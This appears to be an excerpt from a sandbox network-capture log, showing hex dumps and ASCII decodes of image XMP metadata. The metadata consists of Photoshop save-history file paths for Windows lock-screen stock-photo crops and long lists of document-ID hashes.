34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 
53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 
38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 
Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg 
saved&#xA;2017-11-17T15:55:47-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_C
HOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg 

2022-07-01 09:01:55 UTC 4426 IN Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 
45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 
61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 
47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 
Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_19
20x1080.psd saved&#xA;2017-12-14T16:24:49-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLaunc
her\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554

2022-07-01 09:01:55 UTC 4458 IN Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 
6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6
d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 
6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 
31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 
Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved&#xA;2018-01-24T1
7:29:50-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOS
EN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save

2022-07-01 09:01:55 UTC 4498 IN Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 
68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 
61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 
58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 
Data Ascii: :53-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-
DH6XTR_1920x1080.psd saved&#xA;2018-02-08T13:51:48-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\Pipa
\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved

2022-07-01 09:01:55 UTC 4530 IN Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 
6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 
42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6
e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 
4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 
Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EB
F1B2F65935.psb saved&#xA;2018-03-15T01:21:32-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\T
ravel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
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2022-07-01 09:01:55 UTC 4578 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 33 43 42 33 35 38 43 34 44 44 31 39 39 36 35 33 39 41 39 45 32 39 
39 31 38 39 31 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 37 33 34 34 46 39 30 42 32 41 41 
42 44 32 43 33 32 31 41 45 32 31 37 46 43 34 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 4
4 44 32 38 31 33 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 
38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>0573CB358C4DD1996539A9E2991891AE</rdf:li> <rdf:li>0577344F90B2AABD2C321AE217FC
403A</rdf:li> <rdf:li>057DD28130D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49
D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rd

2022-07-01 09:01:55 UTC 4635 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 
42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 
36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 3
3 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 34 45 32 30 45 44 35 43 42 41 43 36 45 32 36 32 43 37 41 36 
43 44 38 39 45 38 43 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E9
5B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5D
C3</rdf:li> <rdf:li>0C4E20ED5CBAC6E262C7A6CD89E8CEE5</rdf:li> <rdf:

2022-07-01 09:01:55 UTC 4673 IN Data Raw: 41 44 32 32 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 31 36 46 35 30 37 36 31 34 45 
32 35 38 33 38 30 46 38 43 33 39 35 31 44 34 46 32 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
39 32 43 37 37 43 45 38 38 38 30 43 36 30 33 39 43 42 30 43 39 43 36 43 39 31 42 31 37 33 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 34 45 42 37 43 37 31 39 39 46 45 37 34 41 35 39 32 46 38 36 43 30 41 31 38 
42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 43 33 42 37 33 43 35 36 42 46 42 33 39 36 
39 39 42 46 45 43 39 44 46 30 46 31 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 35 35 42 39 45 
39 37 39 36 46 32 38 33 36 38 42 37 34 39 34 30 44 30 43 33 46 41 36 38 
Data Ascii: AD22E2</rdf:li> <rdf:li>1916F507614E258380F8C3951D4F2DE7</rdf:li> <rdf:li>192C77CE8880C6
039CB0C9C6C91B173D</rdf:li> <rdf:li>19334EB7C7199FE74A592F86C0A18B1C</rdf:li> <rdf:li>1933C3B73C56BF
B39699BFEC9DF0F1B6</rdf:li> <rdf:li>1955B9E9796F28368B74940D0C3FA68

2022-07-01 09:01:55 UTC 4721 IN Data Raw: 30 45 34 35 43 44 45 35 41 30 31 41 43 35 35 32 39 38 34 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 
37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 4
5 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 
43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 
Data Ascii: 0E45CDE5A01AC552984211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:l
i>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:l
i>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504

2022-07-01 09:01:55 UTC 4745 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 42 32 46 31 34 33 37 36 37 33 43 
37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 42 37 32 43 32 
35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 43 45 37 35 43 31 30 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 43 44 37 38 31 38 34 44 38 42 41 
37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 45 31 36 31 41 32 39 44 45 45 35 32 
41 45 33 32 30 45 38 35 37 31 32 45 37 41 46 38 44 34 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>2CC5E483B2F1437673C791ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73
A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184
D8BA779A475</rdf:li> <rdf:li>2CE161A29DEE52AE320E85712E7AF8D4</rdf:

2022-07-01 09:01:55 UTC 4792 IN Data Raw: 42 33 31 30 39 38 31 41 30 44 36 45 33 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 37 
41 38 39 36 34 42 41 42 37 41 45 30 39 36 36 45 34 44 37 35 35 39 32 35 45 46 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 33 41 38 30 32 43 43 45 35 42 43 39 30 37 39 32 33 41 42 36 34 34 42 37 41 45 39 33 45 44 35 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 3
7 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 
34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 
Data Ascii: B310981A0D6E302</rdf:li> <rdf:li>3A7A8964BAB7AE0966E4D755925EF638</rdf:li> <rdf:li>3A802
CCE5BC907923AB644B7AE93ED53</rdf:li> <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846
ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054

2022-07-01 09:01:55 UTC 4864 IN Data Raw: 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 
41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 
37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 4
6 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31 33 34 38 36 38 43 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 34 45 32 
Data Ascii: 70AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> 
<rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li
>4731A837CDE3A0DCE817F16C134868C8</rdf:li> <rdf:li>4734E2

2022-07-01 09:01:55 UTC 4872 IN Data Raw: 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 33 46 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 35 38 46 43 39 45 31 34 36 37 
35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 39 38 33 45 45 43 30 31 32 38 
44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 39 31 41 43 4
4 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 
Data Ascii: 0159031303430D6F59FF2D8AC03F5</rdf:li> <rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> 
<rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> <rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> 
<rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D17
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2022-07-01 09:01:55 UTC 4943 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 
34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 
34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 3
5 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 
32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 
33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E
40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64
A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li> 

2022-07-01 09:01:55 UTC 4959 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 
36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 
35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 4
3 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45 44 30 32 34 33 37 30 35 44 46 36 46 32 32 41 37 38 43 42 35 30 41 30 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 39 37 31 31 31 42 45 30 33 36 38 35 42 45 36 38 32 31 33 
30 46 39 31 33 32 35 34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D57
13</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FED0243705DF6F22A78CB50A
0E</rdf:li> <rdf:li>69997111BE03685BE682130F91325479</rdf:li> <rdf:

2022-07-01 09:01:55 UTC 4983 IN Data Raw: 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 
32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 
43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 4
1 31 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 
34 44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED
</rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E
</rdf:li> <rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li

2022-07-01 09:01:55 UTC 5023 IN Data Raw: 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 
39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 44 
42 45 41 34 37 41 36 45 42 43 34 32 34 39 35 31 33 38 46 39 36 46 31 44 46 42 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 37 45 45 44 38 33 38 32 41 31 41 36 31 45 38 43 45 44 41 34 45 37 41 44 38 46 31 32 39 44 46 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 30 38 33 35 46 43 34 43 37 45 30 36 45 46 31 33 41 
36 30 46 45 45 39 43 37 39 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 36 32 31 37 33 46 
35 43 31 33 32 31 30 33 43 30 31 38 32 32 43 37 32 43 41 46 37 44 42 3c 
Data Ascii: 6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <rdf:li>7EDBEA47A6EBC424
95138F96F1DFBC81</rdf:li> <rdf:li>7EED8382A1A61E8CEDA4E7AD8F129DF0</rdf:li> <rdf:li>7EF0835FC4C7E06E
F13A60FEE9C791CA</rdf:li> <rdf:li>7EF62173F5C132103C01822C72CAF7DB<

2022-07-01 09:01:55 UTC 5039 IN Data Raw: 33 37 34 37 34 42 31 39 34 44 30 43 45 37 30 45 38 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 38 41 44 30 34 46 45 41 43 31 44 45 30 32 45 38 37 33 35 33 41 39 34 31 34 44 35 41 35 34 32 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 46 30 36 45 38 30 31 46 38 32 34 32 42 43 45 38 45 35 44 31 45 46 45 
43 37 39 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 30 31 39 36 42 37 34 34 37 37 39 37 4
6 43 32 42 30 35 46 37 42 42 30 42 31 34 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 32 43 
45 41 42 32 31 43 30 37 33 37 37 36 38 37 30 31 45 42 38 30 34 45 42 41 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 38 41 46 38 37 37 34 38 36 38 43 45 38 33 33 37 36 
Data Ascii: 37474B194D0CE70E8D65</rdf:li> <rdf:li>8AD04FEAC1DE02E87353A9414D5A542E</rdf:li> <rdf:li>
8ADF06E801F8242BCE8E5D1EFEC797D7</rdf:li> <rdf:li>8AF0196B7447797FC2B05F7BB0B14A08</rdf:li> <rdf:li>
8AF2CEAB21C0737768701EB804EBAD14</rdf:li> <rdf:li>8AF8774868CE83376

2022-07-01 09:01:55 UTC 5047 IN Data Raw: 43 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
39 32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 
39 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 4
3 37 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 
32 36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 
Data Ascii: C28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>92
5F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>92
94A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC381

2022-07-01 09:01:55 UTC 5087 IN Data Raw: 30 43 36 46 31 36 44 34 39 39 41 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 33 34 45 
32 37 42 31 32 43 33 45 34 42 30 41 34 35 37 44 41 35 34 42 32 46 31 42 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 41 30 36 42 30 32 41 37 39 46 34 31 36 33 38 43 37 44 46 44 35 37 42 34 42 42 35 39 38 32 36 33 3c 
